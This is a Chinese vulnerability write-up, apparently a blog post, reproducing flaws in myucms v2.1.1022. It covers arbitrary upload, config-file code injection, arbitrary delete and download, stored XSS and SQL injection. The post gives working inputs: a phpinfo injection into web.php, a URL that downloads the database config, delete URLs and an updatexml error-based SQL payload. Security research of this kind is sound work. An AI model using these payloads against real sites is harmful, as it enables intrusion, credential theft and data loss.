复现myucms v2.1.1022漏洞

本文详细分析了一个名为myucms的CMS系统的多个安全漏洞,包括任意文件上传、配置文件覆盖、SQL注入、跨站脚本(XSS)和文件操作漏洞。通过复现这些漏洞,揭示了系统在文件验证、用户输入过滤和数据库交互等方面的安全缺陷,提醒开发者关注并加强系统安全防护。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞列表

漏洞类型复现
任意文件上传
配置文件覆盖
任意文件上传2
跨站脚本漏洞
任意文件删除
任意文件下载
sql注入

复现漏洞

任意文件上传1

漏洞成因

展示位置:
在这里插入图片描述
代码位置:
myucms-v2.1.1022\application\admin\controller\Upload.php

public function upfile()
{
    if (!session('userid') || !session('username')) {
        $this->error('亲!请登录',url('bbs/login/index'));
    } else {
    return json($this->model->upfile('files'));
    }
}

这里会判断是否登录,没有登录会跳转到登录界面,登录则会调用model->upfile

public function upfile($type,$filename = 'file',$is_water = false){
  
  if (config('web.qiniuopen') == 1) {
        $driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey' => config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' => config('web.bucket'));
        $setting = array('rootPath' => './', 'saveName' => array('uniqid', ''), 'hash' => true);
        $setting['exts'] = explode(',', config('web.WEB_RXT'));
        $setting['maxSize'] = 50 * 1024 * 1024;
        $File = $_FILES['file'];
        $Upload = new Upload($setting, 'Qiniu', $driverConfig);
        $info = $Upload->uploadOne($File);
        if ($info) {
            $data['sha1'] = $info['sha1'];
            $data['md5'] = $info['md5'];
            $data['create_time'] = time();
            $data['uid'] = session('userid');
            $data['download'] = 0;
            $data['size'] = $info['size'];
            $data['name'] = $info['name'];
            $data['ext'] = $info['ext'];
            $data['savepath'] = $info['url'];
            $data['savename'] = $info['savename'];
            $data['mime'] = $info['type'];
            $map['md5'] = $info['md5'];
            $mmn = Db::name('file')->where($map)->find();
            if (empty($mmn)) {
                Db::name('file')->insert($data);
                $res = Db::name('file')->getLastInsID();
                if ($res > 0) {
                    return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 0, 'ext' => $data['ext'], 'id' => $res, 'headpath' => $data['savepath'],'path' => $data['savepath'], 'md5' => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info' => $info);
                } else {
                    return array('code' => 0, 'msg' => '上传失败');
                }
            } else {
                return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $mmn['ext'], 'id' => $mmn['id'], 'headpath' => $data['savepath'],'path' => $mmn['savepath'], 'md5' => $mmn['md5'], 'savename' => $mmn['savename'], 'filename' => $mmn['name'], 'info' => $mmn);
            }
        } else {
            return array('code' => 0, 'msg' => $Upload->getError());
        }
 } else {
	$file = request()->file($filename);
    $md5 = $file->hash('md5');
        $n = Db::name('file')->where('md5', $md5)->find();
        if (empty($n)) {
            $info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');
            if ($info) {
                $path = DS . 'uploads' . DS . $info->getSaveName();
                $path = str_replace("\\", "/", $path);
                $realpath = WEB_URL . $path;
                $data['sha1'] = $info->sha1();
                $data['md5'] = $info->md5();
                $data['create_time'] = time();
                $data['uid'] = session('userid');
                $data['download'] = 0;
                $data['size'] = $info->getSize();
                $fileinfo = $info->getInfo();
                $data['name'] = $fileinfo['name'];
                $data['ext'] = $info->getExtension();
                $data['savepath'] = $path;
                $data['savename'] = $info->getFilename();
                $data['mime'] = $fileinfo['type'];
                Db::name('file')->insert($data);
                $res = Db::name('file')->getLastInsID();
              
                if ($res > 0) {
                    return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5' => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info' => $info->getInfo());
                } else {
                    return array('code' => 0, 'msg' => '上传失败');
                }
            } else {
                return array('code' => 0, 'msg' => $file->getError());
            }
        } else {
            $path = $n['savepath'];
            $realpath = WEB_URL . $path;
            return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' => $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);
          
        }
    }
}

由于默认配置config(‘web.qiniuopen’)等于零(myucms-v2.1.1022\application\extra\web.php),所以进入else

<?php return ['WEB_GL'=>'0','WEB_KEJIAN'=>'0','WEB_KEJIANS'=>'0','WEB_INDEX'=>'bbs','WEB_BBS'=>'1','WEB_SHOP'=>'1','WEB_REG'=>'1','WEB_STA'=>'1','WEB_TAG'=>'插件,建议,模板,签到,反馈','WEB_TPT'=>'default','WEB_SHOPS'=>'default','WEB_URL'=>'','WEB_OPE'=>'1','WEB_BUG'=>'true','WEB_RXT'=>'rar,png,zip,jpg,gif,ico','ex'=>'extend/','addons'=>'请在官方下载正版','or'=>'org/','up'=>'Upload/','WEB_OPENS'=>'0','dr'=>'Driver/','do'=>'Dow.php','WEB_DES'=>'','secrectKey'=>'0','accessKey'=>'0','domain'=>'0','bucket'=>'0','qiniuopen'=>'0','Cascade'=>'1',]; 

使用request()->file($filename)获取文件

$file = request()->file($filename);

跟进,此处会处理上传文件获取全部内容

public function file($name = '')
{
    if (empty($this->file)) {
        $this->file = isset($_FILES) ? $_FILES : [];
    }
    if (is_array($name)) {
        return $this->file = array_merge($this->file, $name);
    }
    $files = $this->file;
    if (!empty($files)) {
        // 处理上传文件
        $array = [];
        foreach ($files as $key => $file) {
            if (is_array($file['name'])) {
                $item  = [];
                $keys  = array_keys($file);
                $count = count($file['name']);
                for ($i = 0; $i < $count; $i++) {
                    if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
                        continue;
                    }
                    $temp['key'] = $key;
                    foreach ($keys as $_key) {
                        $temp[$_key] = $file[$_key][$i];
                    }
                    $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
                }
                $array[$key] = $item;
            } else {
                if ($file instanceof File) {
                    $array[$key] = $file;
                } else {
                    if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
                        continue;
                    }
                    $array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
                }
            }
        }
        if (strpos($name, '.')) {
            list($name, $sub) = explode('.', $name);
        }
        if ('' === $name) {
            // 获取全部文件
            return $array;
        } elseif (isset($sub) && isset($array[$name][$sub])) {
            return $array[$name][$sub];
        } elseif (isset($array[$name])) {
            return $array[$name];
        }
    }
    return;
}

使用$file->hash(‘md5’)生成md5值,执行Db::name(‘file’)->where(‘md5’, $md5)->find()查询file表中是否有这个md5的值,有的话就会返回保存的路径

$path = $n['savepath'];
$realpath = WEB_URL . $path;
return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext' => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' => $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);

没有的话会判断上传的类型

$info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');

位置:myucms-v2.1.1022\application\extra\web.php

类型:‘rar,png,zip,jpg,gif,ico’

由于config(‘web.WEB_RXT’)的参数值可以添加,位置:myucms-v2.1.1022\application\admin\controller\conf.php

public function add()
{
   $path = 'application/extra/web.php';
   $file = include $path;      
   $config = array(
     'WEB_RXT' => input('WEB_RXT'),
     'WEB_GL' => input('WEB_GL'),
	 'WEB_REG' => input('WEB_REG'),
	 'WEB_TAG' => input('WEB_TAG'),
	 'WEB_OPE' => input('WEB_OPE'),
     'WEB_BUG' => input('WEB_BUG'),
     'WEB_BBS' => input('WEB_BBS'),
     'WEB_SHOP' => input('WEB_SHOP'),
     'WEB_INDEX' => input('WEB_INDEX'),
     'WEB_KEJIAN' => input('WEB_KEJIAN'),
     'WEB_KEJIANS' => input('WEB_KEJIANS'),
     'Cascade' => input('Cascade'),
     //七牛
     'bucket' => input('bucket'),
     'accessKey' => input('accessKey'),
     'secrectKey' => input('secrectKey'),
     'domain' => input('domain'),
     'qiniuopen' => input('qiniuopen'),
   );
    $res = array_merge($file, $config);
    $str = '<?php return [';
    foreach ($res as $key => $value) {
        $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
    }
    $str .= ']; ';
    if (file_put_contents($path, $str)) {
        return json(array('code' => 200, 'msg' => '修改成功'));
    } else {
        return json(array('code' => 0, 'msg' => '修改失败'));
    }
}
复现漏洞

虽然使用了白名单进行过滤,但是可以白名单可以被控制从而导致可以上传任意文件
在这里插入图片描述
上传成功拼接路径:url+返回的路径
在这里插入图片描述

代码注入漏洞

漏洞成因

此处包含application/extra/web.php文件而且没有进行过滤,可以输出任意的内容到web.php

public function add()
{
   $path = 'application/extra/web.php';
   $file = include $path;      
   $config = array(
     'WEB_RXT' => input('WEB_RXT'),
     'WEB_GL' => input('WEB_GL'),
	 'WEB_REG' => input('WEB_REG'),
	 'WEB_TAG' => input('WEB_TAG'),
	 'WEB_OPE' => input('WEB_OPE'),
     'WEB_BUG' => input('WEB_BUG'),
     'WEB_BBS' => input('WEB_BBS'),
     'WEB_SHOP' => input('WEB_SHOP'),
     'WEB_INDEX' => input('WEB_INDEX'),
     'WEB_KEJIAN' => input('WEB_KEJIAN'),
     'WEB_KEJIANS' => input('WEB_KEJIANS'),
     'Cascade' => input('Cascade'),
     //七牛
     'bucket' => input('bucket'),
     'accessKey' => input('accessKey'),
     'secrectKey' => input('secrectKey'),
     'domain' => input('domain'),
     'qiniuopen' => input('qiniuopen'),
   );
    $res = array_merge($file, $config);
    $str = '<?php return [';
    foreach ($res as $key => $value) {
        $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
    }
    $str .= ']; ';
    if (file_put_contents($path, $str)) {
        return json(array('code' => 200, 'msg' => '修改成功'));
    } else {
        return json(array('code' => 0, 'msg' => '修改失败'));
    }
}

写入代码

'];phpinfo();//
复现漏洞

其他几处地址也存在这个问题,如:qq.php等

任意文件上传2

漏洞成因

位置:myucms-v2.1.1022\application\admin\model\Shops.php
使用request()->file(‘FileName’)获取文件,直接进行移动并没有进行过滤和鉴权

public function doUploadPic()
{
    $file = request()->file('FileName');
    $info = $file->move(ROOT_PATH . DS . 'uploads');
	if($info){
		$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
		echo str_replace("\\","/",$path);
    }
}

move方法:

public function move($path, $savename = true, $replace = true)
{
    // 文件上传失败,捕获错误代码
    if (!empty($this->info['error'])) {
        $this->error($this->info['error']);
        return false;
    }

    // 检测合法性
    if (!$this->isValid()) {
        $this->error = 'upload illegal files';
        return false;
    }

    // 验证上传
    if (!$this->check()) {
        return false;
    }

    $path = rtrim($path, DS) . DS;
    // 文件保存命名规则
    $saveName = $this->buildSaveName($savename);
    $filename = $path . $saveName;

    // 检测目录
    if (false === $this->checkPath(dirname($filename))) {
        return false;
    }

    // 不覆盖同名文件
    if (!$replace && is_file($filename)) {
        $this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
        return false;
    }

    /* 移动文件 */
    if ($this->isTest) {
        rename($this->filename, $filename);
    } elseif (!move_uploaded_file($this->filename, $filename)) {
        $this->error = 'upload write error';
        return false;
    }

    // 返回 File 对象实例
    $file = new self($filename);
    $file->setSaveName($saveName)->setUploadInfo($this->info);

    return $file;
}
漏洞复现

很多功能点的上传功能都使用doUploadPic同时也都存在安全问题
如:商城管理->商品管理->添加商品
在这里插入图片描述
上传成功
在这里插入图片描述
拼接请求
在这里插入图片描述

跨站脚本漏洞

漏洞成因

根据id直接更新内容到数据库中,没有进行过滤和其他限制的操作
在这里插入图片描述

public function doedit()
    {
        $id = input('id');
       $data = $this->request->post();
       $data['time'] = time();
       if(Db::name('set')->where('id',$id)->data($data)->update($data)){
         $this->success('更新成功');
       } else {
           $this->error('更新失败');
        } 
    }

{:myucms(‘tongji’)}

漏洞复现

位置:系统管理->网站配置->统计代码
在这里插入图片描述
触发点位置:http://192.168.17.138/myucms-v2.1.1022/
在这里插入图片描述

任意文件删除

漏洞成因

使用$_GET[‘info’]获取文件路径拼接后传入到deleteun方法里

public function un()
{
 	$info = $_GET['info'];
    $res=deleteun(ROOT_PATH.'addons'.DS.$info);
   
    if ($res) {
        return json(array('code' => 200, 'msg' => '删除成功'));
    }else{
        return json(array('code' => 0, 'msg' => '删除失败'));
    }
}

deleteun():循环删除目录的文件的函数

function deleteun($dir_name)
{
    $result = false;
    if (is_dir($dir_name)) {
        if ($handle = opendir($dir_name)) {
            while (false !== ($item = readdir($handle))) {
                if ($item != '.' && $item != '..') {
                    if (is_dir($dir_name . DS . $item)) {
                        deleteun($dir_name . DS . $item);
                    } else {
                        unlink($dir_name . DS . $item);
                    }
                }
            }
            closedir($handle);
            if (rmdir($dir_name)) {
                $result = true;
            }
        }
    }
    return $result;
}

测试下删除myucms-v2.1.1022\addons\1目录

漏洞复现
  • 位置1:/admin.php/addons/un.html?info=1
    默认删除位置:\myucms-v2.1.1022\addons

  • 位置2:/admin.php/muban/un.html?info=1
    默认删除位置:\myucms-v2.1.1022\application\bbs\view

在这里插入图片描述

任意文件下载1

漏洞成因

传入url、name、local的值,当local等于1会调用$down->download传入url和name

public function download($url, $name, $local)
{
    $down = new Http();
    if ($local == 1) {
        $down->download($url, $name);
    } else {
    }
}

跟进$down->download并没有限制,只要文件存在即可下载

static public function download ($filename, $showname='',$content='',$expire=180) {
		if(is_file($filename)) {
			$length = filesize($filename);
		}elseif($content != '') {
			$length = strlen($content);
		}else {
			throw_exception($filename.L('下载文件不存在!'));
		}
		if(empty($showname)) {
			$showname = $filename;
		}
		$showname = basename($showname);
		if(!empty($filename)) {
			$type = mime_content_type($filename);
		}else{
			$type	 =	 "application/octet-stream";
		}
		//发送Http Header信息 开始下载
		header("Pragma: public");
		header("Cache-control: max-age=".$expire);
		//header('Cache-Control: no-store, no-cache, must-revalidate');
		header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
		header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
		header("Content-Disposition: attachment; filename=".$showname);
		header("Content-Length: ".$length);
		header("Content-type: ".$type);
		header('Content-Encoding: none');
		header("Content-Transfer-Encoding: binary" );
		if($content == '' ) {
			readfile($filename);
		}else {
			echo($content);
		}
		exit();
	}
漏洞复现

拼接url请求

/myucms-v2.1.1022/index.php/bbs/index/download?url=application/database.php&local=1&name

下载成功
在这里插入图片描述

sql注入

漏洞成因

位置:application/bbs/controller/User.php/xiaoxidel
此处会判断当前登录状态,登录后才会进入漏洞触发位置

public function xiaoxidel($ids)
    {
        if (!session('userid') || !session('username')) {
            $this->error('亲!请登录',url('bbs/login/index'));
        } else {
        	if ($ids==0) {
        	$id = input('id');
        	$data['open'] = 1;
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {
				return json(array('code' => 200, 'msg' => '标记已读成功'));
			} else {
				return json(array('code' => 0, 'msg' => '标记已读失败'));
			}
        	}elseif ($ids==1){
        	$id = input('id');
			if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
				return json(array('code' => 200, 'msg' => '彻底删除成功'));
			} else {
				return json(array('code' => 0, 'msg' => '彻底删除失败'));
			}
        	}
        }
    }

根据查询的语句得知传入id和userid,这里只需要id即可

Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)

拼接请求/index.php/bbs/user/xiaoxidel/ids/0/id/1
在这里插入图片描述
这里会更新id为1的消息阅读状态

漏洞复现
报错注入:and updatexml(1,concat(0x7e,user(),0x7e),1)

在这里插入图片描述
执行可以看到当前用户为root

/index.php/bbs/user/xiaoxidel/ids/0/id/1and updatexml(1,concat(0x7e,user(),0x7e),1)

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值